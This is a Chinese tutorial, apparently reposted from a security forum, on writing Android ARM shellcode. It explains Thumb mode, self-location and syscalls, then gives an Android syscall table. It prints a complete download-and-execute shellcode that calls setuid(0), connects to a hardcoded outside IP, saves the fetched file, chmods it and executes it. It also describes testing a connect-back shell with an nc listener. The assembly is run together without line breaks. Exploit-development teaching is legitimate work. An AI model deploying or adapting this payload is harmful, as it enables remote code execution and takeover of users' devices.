【移动安全高级篇】————3、Android系统ShellCode编写
随着Android手机的普及,Android系统安全日益受人关注。漏洞攻防是安全的一大课题,其中自然少不了shellcode的编写。本文将以提出问题、解决问题的方式教你如何编写Android系统shellcode。由于篇幅限制,本文将不对ARM指令集进行介绍,建议没有基础的读者先参考相关手册。
基础部分
使用什么工具?
GNU ARM汇编器as和GNU ARM连接器ld是编写Android系统shellcode必不可少的两个工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,为了方便在Windows环境下开发,笔者在附件中提供了Windows版本的as和ld。
as和ld的使用方法很简单,假设sc.s是我们编写好的shellcode源文件,先使用as sc.s -o sc.o命令将sc.s汇编成目标文件sc.o,再使用ld sc.o -o sc将sc.o连接成可执行文件sc。文中用到的为数不多的as汇编伪指令将在相关注释中说明,具体请参考“Using as”手册。
除了as和ld,我们还要用IDA作为反汇编器,IDA的使用想必不用多做介绍。用IDA记录下sc中shellcode的头部和尾部,就可以用十六进制编辑器从sc中提取shellcode了。
函数参数如何传递?
函数参数从左到右依次存入R0~R3,如果参数个数大于4个,则剩余参数从右到左依次入栈,返回值存入R0。
如何给shellcode瘦身?
ARM处理器支持两种指令集:ARM指令集和Thumb指令集。ARM指令集指令长度为32位,Thumb指令集指令长度为16位。Thumb指令集的限制更多,比如立即数大小只能在0到0xFF范围内。
为了给shellcode瘦身,我们更倾向于使用Thumb指令集编写shellcode。ARM处理器总是从ARM指令集开始执行,所以我们的shellcode头部是一段ARM指令集程序,负责切换到Thumb指令集。
如何自定位?
自定位是编写shellcode的关键技术之一,也就是所谓GetPC。在x86环境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三种方式。而在ARM环境下,事情就变得简单很多,因为指令指针PC可以直接访问。
ARM汇编还提供了ADR伪指令,汇编器会将其转换为相对PC寻址的指令,所以我们不用担心自定位问题。值得注意的是,LDR指令通过绝对地址寻址,当基地址改变时根据重定位段信息进行重定位。用LDR指令寻址一个符号在shellcode编写中是错误的,这点和x86类似。
如何定位函数?
定位函数是编写shellcode的关键技术之二。在Windows环境下,通常通过PEB定位kernel32基地址,然后遍历kernel32输出表定位API。在Linux环境下,直接系统调用。
Android系统调用由gensyscalls.py自动生成,以execve.S为例,代码如下:
__set_syscall_errno代码如下:
从上述代码可以看出,Android通过调用软中断,切换到特权模式,执行系统调用,r7存放系统调用号,软中断号不重要。文末将附上Android系统调用表。
实战部分
解决了上述问题之后,我们可以编写shellcode了,先写一个简单的Connect Back Shell,代码如下:
使用as和ld生成可执行文件sc,下一步就是测试shellcode了。读者可以提取shellcode并利用公开的漏洞如CVE-2010-1119测试,笔者为了方便直接测试sc。
假定我们的工作目录在D盘,使用nc -vvlp 2222命令bind到2222端口。启动另一个命令行,启动模拟器,使用adb push D:/sc /data命令将sc复制到data目录下,使用adb shell命令进到shell,使用cd /data命令进到data目录,使用chmod 777 sc命令设置sc可执行,使用./sc命令执行sc,如图1所示。sc执行后我们已经拿到shell了,如图2所示。
编写shellcode难免出错,自然少不了调试工作,笔者建议使用IDA远程调试,方法很简单。先将IDA目录下的android_server复制到模拟器中并执行,使用adb forward tcp:23946 tcp:23946命令转发端口,使用IDA打开sc,选择Remote ARM Linux/Android debugger调试器,在Debugger/Debugger options…中勾选Stop on debugging start,在Debugger/ Process options…中填Hostname为localhost,就可以F9开始调试了,如图3所示。
最后我们编写一个HTTP下载执行的shellcode,代码如下:
.globl _start
.align 2
_start:
.code 32adr r0, thumb + 1bx r0
thumb:
.code 16mov r0, #0mov r7, #213swi #0 @setuid32(0)@创建文件mov r2, #0x1Clsl r2, #4 @S_IRWXUmov r1, #0x24lsl r1, #4add r1, r1, #1 @O_CREAT|O_WRONLY|O_TRUNCadr r0, namemov r7, #5swi #0 @int fd = open(name, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU)mov r4, r0mov r2, #6 @IPPROTO_TCPmov r1, #1 @SOCK_STREAMmov r0, #2 @AF_INETmov r7, #250add r7, #31@建立连接swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)mov r5, r0mov r2, #16adr r1, addrmov r7, #250add r7, #33swi #0 @connect(sock, addr, 16)@计算http头长度adr r2, headmov r1, r2b L1
L0:add r2, r2, #1
L1:ldrb r0, [r2]cmp r0, #0bne L0sub r2, r2, r1mov r0, r5mov r7, #4swi #0 @write(sock, head, strlen(head))@跳过http头mov r3, #0adr r6, nrnrldr r6, [r6]
L2:mov r2, #252sub sp, sp, #252mov r1, spmov r0, r5mov r7, #3push {r3}swi #0 @int len = read(sock, buf, 252)pop {r3}cmp r0, #0ble L7mov r2, #0
L3:lsl r3, r3, #8mov r1, spadd r1, r2ldrb r1, [r1]add r3, r3, r1add r2, r2, #1cmp r3, r6beq L4cmp r2, r0bne L3add sp, sp, #252b L2
L4:mov r1, spadd r1, r2sub r2, r0, r2b L6@写入文件
L5:mov r2, #252sub sp, sp, #252mov r1, spmov r0, r5mov r7, #3swi #0 @int len = read(sock, buf, 252)cmp r0, #0ble L7mov r2, r0 mov r1, sp
L6: mov r0, r4mov r7, #4swi #0 @write(fd, buf, len)add sp, sp, #252b L5
L7:add sp, sp, #252mov r0, r5mov r7, #6 swi #0 @close(sock)mov r0, r4swi #0 @close(fd)@执行文件mov r1, #0x1Clsl r1, #4 @S_IRUSR|S_IWUSR|S_IXUSRadr r0, namemov r7, #15swi #0 @chmod(name, S_IRUSR|S_IWUSR|S_IXUSR)mov r2, #0mov r1, #0push {r1}adr r0, namepush {r0} @argv[0]mov r1, sp @argvmov r7, #11swi #0 @execve(name, argv, NULL)mov r0, #0mov r7, #1swi #0 @exit(0)
addr:.short 2 @AF_INET.ascii "\x00\x50" @port.byte 202, 120, 2, 102 @ip.zero 8
head:.ascii "GET /".ascii "" @file.ascii " HTTP/1.1\r\n".ascii "HOST: ".ascii "www.android.com" @host.ascii "\r\n\r\n\x00".zero 2
name:.asciz "xxx"
nrnr:.ascii "\n\r\n\r"
Android系统调用表
1 exit 2 fork
3 read 4 write
5 open 6 close
9 link 10 unlink
11 execve 12 chdir
14 mknod 15 chmod
19 lseek 20 getpid
21 mount 26 ptrace
29 pause 33 access
36 sync 38 rename
39 mkdir 40 rmdir
41 dup 42 pipe
43 times 45 brk
51 acct 52 umount2
54 ioctl 55 fcntl
57 setpgid 60 umask
61 chroot 63 dup2
64 getppid 66 setsid
67 sigaction 72 sigsuspend
73 sigpending 75 setrlimit
77 getrusage 78 gettimeofday
79 settimeofday 83 symlink
85 readlink 88 reboot
91 munmap 92 truncate
93 ftruncate 94 fchmod
96 getpriority 97 setpriority
103 syslog 103 syslog
104 setitimer 105 getitimer
114 wait4 116 sysinfo
118 fsync 120 clone
122 uname 125 mprotect
126 sigprocmask 128 init_module
129 delete_module 132 getpgid
133 fchdir 140 _llseek
142 _newselect 143 flock
144 msync 145 readv
146 writev 148 fdatasync
150 mlock 151 munlock
154 sched_setparam 155 sched_getparam
156 sched_setscheduler 157 sched_getscheduler
158 sched_yield 159 sched_get_priority_max
160 sched_get_priority_min 161 sched_rr_get_interval
162 nanosleep 163 mremap
168 poll 172 prctl
174 rt_sigaction 175 rt_sigprocmask
177 rt_sigtimedwait 180 pread64
181 pwrite64 183 getcwd
184 capget 185 capset
186 sigaltstack 187 sendfile
190 vfork 191 ugetrlimit
192 mmap2 195 stat64
196 lstat64 197 fstat64
198 lchown32 199 getuid32
200 getgid32 201 geteuid32
202 getegid32 203 setreuid32
204 setregid32 205 getgroups32
206 setgroups32 207 fchown32
208 setresuid32 209 getresuid32
210 setresgid32 211 getresgid32
212 chown32 213 setuid32
214 setgid32 217 getdents64
219 mincore 220 madvise
221 fcntl64 224 gettid
240 futex 248 exit_group
250 epoll_create 251 epoll_ctl
252 epoll_wait 257 timer_create
258 timer_settime 259 timer_gettime
260 timer_getoverrun 261 timer_delete
262 clock_settime 263 clock_gettime
264 clock_getres 265 clock_nanosleep
266 statfs64 267 fstatfs64
269 utimes 280 waitid
281 socket 282 bind
283 connect 284 listen
285 accept 286 getsockname
287 getpeername 288 socketpair
290 sendto 292 recvfrom
293 shutdown 294 setsockopt
295 getsockopt 296 sendmsg
297 recvmsg 314 ioprio_set
315 ioprio_get 316 inotify_init
317 inotify_add_watch 318 inotify_rm_watch
322 openat 323 mkdirat
325 fchownat 327 fstatat64
328 unlinkat 329 renameat
333 fchmodat 356 eventfd2
359 pipe2 983042 ARM_cacheflush
983045 ARM_set_tls
CVE-2010-1119,其中shellcode为sc1.s
原文:https://bbs.pediy.com/thread-155774.htm
【移动安全高级篇】————3、Android系统ShellCode编写相关推荐
- Android驱动(1)---Ubuntu中为Android系统上编写Linux内核驱动程序实现方法
Ubuntu中为Android系统上编写Linux内核驱动程序实现方法 本文主要介绍在Ubuntu 上为Android系统编写Linux内核驱动程序, 这里对编写驱动程序做了详细的说明,对研究Andr ...
- 09C语言高级篇之头文件的编写
C语言高级篇之头文件的编写 1.extern理解 1.extern,声明,当然也可以同时定义(一般没必要),函数可以省略,使用该关键字定义变量称做"外部变量声明" 2.ex ...
- 【Android 教程系列第 14 篇】Android 系统版本和 API 等级对应关系表(持续更新)
这是[Android 教程系列第 14 篇],如果觉得有用的话,欢迎关注专栏. 很多人记不住 Android 系统版本和 API 等级对应的关系,这里我以 官网文档 和 安卓版本历史(维基百科) 为参 ...
- Android系统开发-入门篇
参见:[视频教程] 写给应用开发的 Android Framework 教程--玩转 AOSP 篇之 Android 系统开发工具推荐 - 掘金 前置条件: android系统源码位于 linux 服 ...
- Android系统架构-[Android取经之路]
摘要:本节主要来讲解Android的系统架构 阅读本文大约需要花费10分钟. 文章首发微信公众号:IngresGe 专注于Android系统级源码分析,Android的平台设计,欢迎关注我,谢谢! 欢 ...
- Android系统匿名共享内存Ashmem(Anonymous Shared Memory)驱动程序源代码分析
文章转载至CSDN社区罗升阳的安卓之旅,原文地址:http://blog.csdn.net/luoshengyang/article/details/6664554 在上一文章Android系统匿名共 ...
- Android系统匿名共享内存Ashmem(Anonymous Shared Memory)在进程间共享的原理分析
在前面一篇文章Android系统匿名共享内存Ashmem(Anonymous Shared Memory)驱动程序源代码分析中,我们系统地介绍了Android系统匿名共享内存的实现原理,其中着重介绍了 ...
- Android系统进程间通信(IPC)机制Binder中的Client获得Server远程接口过程源代码分析(2)...
注意,这里的参数reply = 0,表示这是一个BC_TRANSACTION命令. 前面我们提到,传给驱动程序的handle值为0,即这里的tr->target.handle = ...
- Android系统匿名共享内存(Anonymous Shared Memory)C++调用接口分析
出自:http://blog.csdn.net/luoshengyang/article/details/6939890 在Android系统中,针对移动设备内存空间有限的特点,提供了一种在进程间共享 ...
最新文章
- [skill] vim 操作多个window
- CBC2020 第五届中国计算机学会生物信息学会议(The Fifth CCF Bioinformatics Conference,简称CBC 2020) 2020年10月16日-10月18日在哈尔滨
- 数组,字符串,指针,内存分配机制
- [Java]jdbc[转]
- Ubuntu安装教程【超多图】
- mysql sql select_mysql SQL Select 语句 简单应用
- sikuli 搜索例子
- python安装pyqt4_windows下安装PyQt4
- 4个月,9位诺奖得主加盟国内高校
- mysql自定义函数的分号_MySQL之自定义函数实例讲解
- 每日一题丨2020.05.27
- 【更新】Infragistics Ultimate UI for Windows Forms v18
- SQL Server更新联接概述
- HDOJ1102 Constructing Roads【最小生成树】-----武科大ACM暑期集训队选拔赛1题
- 851. 喧闹和富有
- 20191003每日一句
- AVR 上的汇编圈圈操作系统
- 什么是网络操作系统?网络操作系统具有哪些基本功能?
- SIM800L模块发送短信
- 实验过程中收获的经验、教训、感想